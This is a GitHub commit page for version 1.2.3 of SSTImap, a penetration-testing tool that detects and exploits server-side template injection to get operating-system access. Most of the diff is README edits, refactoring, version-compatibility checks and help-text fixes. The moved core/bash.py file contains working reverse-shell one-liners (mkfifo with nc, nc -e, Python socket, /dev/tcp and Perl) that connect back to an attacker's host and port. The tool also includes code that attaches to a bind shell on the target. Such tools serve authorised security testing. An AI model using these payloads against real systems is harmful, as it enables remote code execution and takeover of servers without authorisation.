Skip to content

Commit

Permalink
Version 1.2.3 (Improvements)
Browse files Browse the repository at this point in the history
Result markers now require evaluation in case of payload reflection
Added a way to check Plugin compatibility
Full support for Python 3.13
Data length can now be used in payloads
Fixed some bugs and documentation mistakes
Created a separate repository for extra plugins

A minor update with simple improvements and fixes
  • Loading branch information
vladko312 authored Oct 14, 2024
1 parent ff5df57 commit 0d45b44
Show file tree
Hide file tree
Showing 39 changed files with 215 additions and 123 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
# SSTImap custom plugins
plugins/custom/*
plugins/SEP/*

# Byte-compiled / optimized / DLL files
__pycache__/
Expand Down
11 changes: 6 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ SSTImap
======

[![Version 1.2](https://img.shields.io/badge/version-1.2-green.svg?logo=github)](https://github.com/vladko312/sstimap)
[![Python 3.11](https://img.shields.io/badge/python-3.11-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3110/)
[![Python 3.13](https://img.shields.io/badge/python-3.13-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3130/)
[![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/)
[![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt)
[![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/)
Expand All @@ -12,7 +12,7 @@ SSTImap
SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.

This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation.
This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation. More payloads for SSTImap can be found [here](https://github.com/vladko312/extras).

Sandbox break-out techniques came from:
- James Kett's [Server-Side Template Injection: RCE For The Modern Web App][5]
Expand All @@ -26,8 +26,9 @@ Differences with Tplmap

Even though this software is based on Tplmap's code, backwards compatibility is not provided.
- Interactive mode (`-i`) allowing for easier exploitation and detection
- Simple evaluation payloads as response markers in case of payload reflection
- Added new payloads for generic templates, as well as a way to speed up detection using `--skip-generic`
- Base language _eval()_-like shell (`-x`) or single command (`-X`) execution
- Added new payloads for generic templates, as well as a way to speed up detection using
- Added new payload for _Smarty_ without enabled `{php}{/php}`. Old payload is available as `Smarty_unsecure`.
- Added new payload for newer versions of _Twig_. Payload for older version is available as `Twig_v1`.
- User-Agent can be randomly selected from a list of desktop browser agents using `-A`
Expand Down Expand Up @@ -223,7 +224,7 @@ Supported template engines

SSTImap supports multiple template engines and _eval()_-like injections.

New payloads are welcome in PRs.
New payloads are welcome in PRs. Check out the [tips](https://github.com/vladko312/extras#developing-plugins) to speed up development.

| Engine | RCE | Blind | Code evaluation | File read | File write |
|--------------------------------------|-----|-------|-----------------|-----------|------------|
Expand Down Expand Up @@ -254,7 +255,7 @@ New payloads are welcome in PRs.
| Velocity ||| Java |||
| Twig (>1.19 <2.0) | × | × | × | × | × |
| Dust (> dustjs-helpers@1.5.0) | × | × | × | × | × |

More plugins and payloads can be found in [SSTImap Extra Plugins](https://github.com/vladko312/extras) repository.

Burp Suite Plugin
-----------------
Expand Down
2 changes: 1 addition & 1 deletion plugins/languages/bash.py → core/bash.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
"""sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {host} {port} >/tmp/f""",
"""sleep 1; nc -e {shell} {host} {port}""",
"""sleep 1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["{shell}","-i"]);'""",
"sleep 1; /bin/bash -c \'{shell} 0</dev/tcp/{host}/{port} 1>&0 2>&0\'",
"sleep 1; /bin/bash -c '{shell} 0</dev/tcp/{host}/{port} 1>&0 2>&0'",
"""perl -e 'use Socket;$i="{host}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{shell} -i");}};'""",
# TODO: ruby payload's broken, fix it.
# """ruby -rsocket -e'f=TCPSocket.open("{host}",{port}).to_i;exec sprintf("{shell} -i <&%%d >&%%d 2>&%%d",f,f,f)'""",
Expand Down
13 changes: 7 additions & 6 deletions core/checks.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,11 @@
import json
import os
import telnetlib
import urllib
from urllib import parse
import socket
from utils.loggers import log
from core.clis import Shell, MultilineShell
from core.tcpserver import TcpServer
from core.tcpclient import TcpClient
from utils.crawler import crawl, find_forms
from core.channel import Channel

Expand Down Expand Up @@ -202,10 +201,12 @@ def check_template_injection(channel):
if not thread.is_alive():
continue
try:
telnetlib.Telnet(urlparsed.hostname.decode(), bind_shell_port, timeout=5).interact()
# If telnetlib does not rise an exception, we can assume that
# ended correctly and return from `run()`
a = TcpClient(urlparsed.hostname.decode(), bind_shell_port, timeout=5)
a.shell()
return current_plugin
except (KeyboardInterrupt, EOFError):
print()
log.log(26, 'Exiting bind shell')
except Exception as e:
log.debug(f"Error connecting to {urlparsed.hostname}:{bind_shell_port} {e}")
else:
Expand Down Expand Up @@ -310,7 +311,7 @@ def scan_website(args):
url_args = args.copy()
url_args['url'] = form[0]
url_args['method'] = form[1]
url_args['data'] = urllib.parse.parse_qs(form[2], keep_blank_values=True)
url_args['data'] = parse.parse_qs(form[2], keep_blank_values=True)
channel = Channel(url_args)
result = check_template_injection(channel)
if channel.data.get('engine'):
Expand Down
18 changes: 18 additions & 0 deletions core/data_type.py
Original file line number Diff line number Diff line change
@@ -1,15 +1,23 @@
import base64
import sys
from utils import config
from utils.loggers import log

loaded_data_types = {}
failed_data_types = []


def unload_data_types():
global loaded_data_types
global failed_data_types
for k in loaded_data_types:
if loaded_data_types[k].__module__ in sys.modules:
del sys.modules[loaded_data_types[k].__module__]
loaded_data_types = {}
for p in failed_data_types:
if p.__module__ in sys.modules:
del sys.modules[p.__module__]
failed_data_types = []


def compatible_url_safe_base64_encode(code):
Expand All @@ -19,6 +27,8 @@ def compatible_url_safe_base64_encode(code):


class DataType(object):
sstimap_version = config.version

def __init__(self, args, tag="*"):
self.data_type = self.__class__.__name__
self.params = ""
Expand All @@ -29,6 +39,14 @@ def __init__(self, args, tag="*"):
def __init_subclass__(cls, **kwargs):
module = cls.__module__.split(".")
name = cls.__name__
if config.compare_versions(cls.sstimap_version, config.min_version['data_type']) == "<":
log.log(22, f'''{name} data type is outdated and cannot be loaded''')
failed_data_types.append(cls)
return
if config.compare_versions(cls.sstimap_version, config.version) == ">":
log.log(22, f'''{name} data type requires SSTImap update and cannot be loaded''')
failed_data_types.append(cls)
return
if module[0] == "data_types":
loaded_data_types[name.lower()] = cls

Expand Down
8 changes: 4 additions & 4 deletions core/interactive.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,7 @@ def set_module(self, module):

def default(self, line):
log.log(22, f'Invalid interactive command: {line.split(" ", 1)[0].lower()}. '
f'Type \'help\' to see available commands.')
f"Type 'help' to see available commands.")

def emptyline(self):
pass
Expand Down Expand Up @@ -73,9 +73,9 @@ def do_help(self, line):
mark, marker [MARKER] Set string as injection marker (default '*')
data, post {rm} [DATA] Add request body data to send (e.g. 'param=value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, clears all data
type, data_type [TYPE] Select request body processing script for a specific data type (default 'form')
data_params {rm} [PARAM] Add request body processing param as KEY=VALUE. To remove by key, use "data rm KEY". Whithout arguments, clears all params
header, headers {rm} [HEADER] Add header to send (e.g. 'Header: Value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, clears all headers
cookie, cookies {rm} [COOKIE] Cookie to send (e.g. 'Field=Value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, clears all cookies
data_params {rm} [PARAM] Add request body processing param as KEY=VALUE. To remove by key, use "data_params rm KEY". Whithout arguments, clears all params
header, headers {rm} [HEADER] Add header to send (e.g. 'Header: Value'). To remove by prefix, use "header rm PREFIX". Whithout arguments, clears all headers
cookie, cookies {rm} [COOKIE] Cookie to send (e.g. 'Field=Value'). To remove by prefix, use "cookie rm PREFIX". Whithout arguments, clears all cookies
method, http_method [METHOD] Set HTTP method to use (default 'GET')
agent, user_agent [AGENT] Set User-Agent header value to use
random, random_agent Toggle using random User-Agent header value from a list of desktop browsers on every request
Expand Down
Loading

0 comments on commit 0d45b44

Please sign in to comment.